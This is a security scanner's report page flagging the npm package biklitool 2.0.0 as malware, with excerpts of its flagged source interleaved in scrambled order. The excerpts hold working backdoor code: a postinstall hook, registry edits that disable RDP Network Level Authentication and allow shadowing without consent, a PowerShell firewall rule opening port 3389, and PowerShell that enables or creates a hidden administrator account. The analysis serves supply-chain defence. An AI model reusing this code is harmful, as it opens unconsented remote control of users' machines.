registry / biklitool / 2.0.0

biklitool@2.0.0

Internal Windows installer for Bikli CLI and Bikli Wrapper

AI Security Review

scanned 3h ago · by lpm-firewall-ai

npm postinstall elevates and changes Windows remote-access and account settings. It creates or enables a hidden administrator, weakens RDP security, opens port 3389, and conceals its service.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install (postinstall) on Windows

Impact

Unconsented remote-access exposure and persistent privileged account/service concealment.

Mechanism

privileged RDP backdoor setup and stealth persistence

Attack narrative

On npm postinstall, the package requests elevation and silently installs bundled executables. It configures RDP for inbound port 3389 with NLA disabled and consent-free session shadowing, then enables or creates an administrator-level RDP user and hides it from the sign-in list. It also disguises binaries and service metadata as Microsoft/svchost, hides protected folders, and removes application-history traces.

Rationale

This is a concrete, unconsented install-time remote-access and stealth-persistence chain, not a package-aligned installer. Source contains no compensating user-command gate beyond the elevation prompt.

Evidence

package.jsonbin/biklimaster.jslib/bikliwrapper.jsconfig.jsonpayload/bikli-cli-installer.exepayload/RDPWInst.exe%ProgramData%\BikliWrapper\admin-credentials.json%ProgramFiles%\Bikli\BikliService.exeHKLM\SYSTEM\CurrentControlSet\Services\Bikli

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall automatically invokes the privileged installer.
Install creates an RDP-capable administrator account, hides folders, and clears history.
Wrapper disables NLA, permits shadowing without consent, and opens inbound RDP 3389.
Code disguises its executable as Microsoft svchost and rewrites service metadata.
Published config contains nonempty administrative credentials.

Evidence against

No source-visible HTTP endpoint or credential exfiltration was found.
Payload hashes are checked before use.

Behavioral surface

Source

ChildProcessCryptoEnvironmentVarsFilesystem

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 64.9 KB of source

Source & flagged code

6 flagged

package.jsonView file

Lines 7-41json

7 "access": "public"

8 },

9 "os": [

10 "win32"

11 ],

12 "bin": {

13 "biklitool":

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node bin/biklimaster.js install --postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node bin/biklimaster.js install --postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

Findings

4 High4 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencelib/bikliwrapper.js

HighAi Review Evidencebin/biklimaster.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumShips Native Binarypayload/bikli-cli-installer.exe

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

postinstall

Behavioral surface

ChildProcessCryptoEnvironmentVarsFilesystemHighEntropyStringsManifest: clean

LPM CLI

lib/bikliwrapper.jsView file

64{ key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' }, { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' }, { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' }, { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' }, { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' }, { key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' }, { key: rdpTcp

High

Ai Review Evidence

Wrapper disables NLA, permits shadowing without consent, and opens inbound RDP 3389.

lib/bikliwrapper.jsView on unpkg · L64

228function ensureFirewallRules() { const script = [ `$ErrorActionPreference='Stop'`, `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`, `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}` ].join(';'); run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]); }

High

Ai Review Evidence

Wrapper disables NLA, permits shadowing without consent, and opens inbound RDP 3389.

lib/bikliwrapper.jsView on unpkg · L228

bin/biklimaster.jsView file

759const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword(); const accountPassword = requestedPassword || generatedAccountPassword(); const script = [ `$ErrorActionPreference='Stop'`, `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`, `$secure=ConvertTo-SecureString $password -AsPlainText -Force`, `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`, `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`, `if($null -eq $builtIn){th

High

Ai Review Evidence

Code disguises its executable as Microsoft svchost and rewrites service metadata.

bin/biklimaster.jsView on unpkg · L759

Source & flagged code

6 flagged

package.jsonView file

Lines 7-41json

7 "access": "public"

8 },

9 "os": [

10 "win32"

11 ],

12 "bin": {

13 "biklitool":

"bin/biklimaster.js"

,

14 "biklimaster": "bin/biklimaster.js",

15 "bikliwrapper": "lib/bikliwrapper.js"

16 },

17 "files": [

18 "bin",

19 "lib",

20 "payload",

21 "config.json",

22 "README.md",

23 "LICENSE-BIKLI",

24 "LICENSE-RDPWRAPPER"

25 ],

26 "scripts": {

27 "postinstall": "node bin/biklimaster.js install --postinstall",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L27

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L27

28 "test": "node bin/biklimaster.js self-test"

29 },

30 "engines": {

31 "node": ">=18"

32 },

33 "keywords": [

34 "bikli",

35 "rdp",

36 "vpn",

37 "windows",

38 "installer"

39 ]

40}

41

payload/bikli-cli-installer.exeView file

•path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

payload/bikli-cli-installer.exeView on unpkg

lib/bikliwrapper.jsView file

Lines 44-84javascript

44 }

45 });

46}

47const installerPath = path.join(payloadDirectory, 'RDPWInst.exe');

48const bundledIniPath = path.join(payloadDirectory, 'rdpwrap.ini');

bin/biklimaster.jsView file

Lines 739-779javascript

739 ]);

740 hideProtectedFolders();

741}

742

743function showAccountCredentials() {

744 requireWindows();

745 if (!isAdministrator()) return

49const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Windows';

50const system32 = path.join(windowsDirectory, 'System32');

51const powershellPath = path.join(system32, 'WindowsPowerShell', 'v1.0', 'powershell.exe');

52

53const terminalServerKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server';

54const rdpTcpKey = terminalServerKey + '\\WinStations\\RDP-Tcp';

55const serviceParametersKey = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters';

56const shadowPolicyKey = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services';

57const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System';

58

59const requestedSettings = [

60 { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },

61 { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },

62 { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },

63 { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },

64 { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },

65 { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },

66 { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },

67 { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },

68 { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },

69 { key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },

70 { key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },

High

Ai Review Evidence

Wrapper disables NLA, permits shadowing without consent, and opens inbound RDP 3389.

lib/bikliwrapper.jsView on unpkg · L64

71 { key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },

72 { key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },

73 { key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },

74 { key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },

75 { key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },

76 { key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },

77 { key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },

78 { key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },

79 { key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },

80 { key: shadowPolicyKey, name: 'MaxConnectionTime', value: 0, label: 'Policy no connection time limit' },

81 { key: shadowPolicyKey, name: 'MaxDisconnectionTime', value: 0, label: 'Policy no disconnection time limit' },

82 { key: shadowPolicyKey, name: 'MaxIdleTime', value: 0, label: 'Policy no idle time limit' },

83 { key: shadowPolicyKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Policy unlimited instances' },

84 { key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }

Lines 208-248javascript

208 installedSupported: installed && iniSupports(installedIniPath, version),

209 bundledSupported: iniSupports(bundledIniPath, version)

210 };

211}

212

213function applyRequestedSettings() {

214 let changed =

elevateAndRun

(

'credentials'

);

746 if (!fs.existsSync(credentialsFile)) {

747 fail('No saved password is available. The built-in Administrator account may already have been enabled.');

748 }

749 const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));

750 console.log(`Username: ${credentials.username}`);

751 console.log(`Password: ${credentials.password}`);

752 console.log(`Stored for Administrators only: ${credentialsFile}`);

753}

754

755function createRdpAdministrator() {

756 requireWindows();

757 if (!isAdministrator()) return elevateAndRun('create-user');

758

759 const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();

760 const accountPassword = requestedPassword || generatedAccountPassword();

761 const script = [

762 `$ErrorActionPreference='Stop'`,

763 `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,

764 `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,

765 `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,

766 `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,

767 `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,

High

Ai Review Evidence

Code disguises its executable as Microsoft svchost and rewrites service metadata.

bin/biklimaster.jsView on unpkg · L759

768 `$builtInWasDisabled=-not $builtIn.Enabled`,

769 `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,

770 `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get- ...

771 `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,

772 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,

773 `$verified=@()`,

774 `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,

775 `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,

776 `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,

777 `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,

778 `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne

779 `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,

Long lines were clipped for display.

false

;

215 for (const setting of requestedSettings) {

216 const oldValue = queryDword(setting.key, setting.name);

217 if (oldValue !== setting.value) {

218 run(path.join(system32, 'reg.exe'), [

219 'add', setting.key, '/v', setting.name, '/t', 'REG_DWORD',

220 '/d', String(setting.value), '/f', '/reg:64'

221 ]);

222 changed = true;

223 }

224 }

225 return changed;

226}

227

228function ensureFirewallRules() {

229 const script = [

230 `$ErrorActionPreference='Stop'`,

231 `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,

232 `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`

233 ].join(';');

234 run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);

235}

High

Ai Review Evidence

Wrapper disables NLA, permits shadowing without consent, and opens inbound RDP 3389.

lib/bikliwrapper.jsView on unpkg · L228

236

237function runInstaller(argument) {

238 return run(installerPath, [argument], { cwd: payloadDirectory });

239}

240

241function serviceIsRunning() {

242 const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });

243 return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);

244}

245

246function listenerIsListening() {

247 const result = run(path.join(system32, 'qwinsta.exe'), [], { allowFailure: true });

248 return result.status === 0 && /^\s*>?\s*rdp-tcp\b.*\bListen\b/im.test(result.stdout);

0

){throw (

'Could not hide '

+$target.Name+

' from the sign-in screen'

)};$alreadyHidden=$false}else{$alreadyHidden=$true}

`,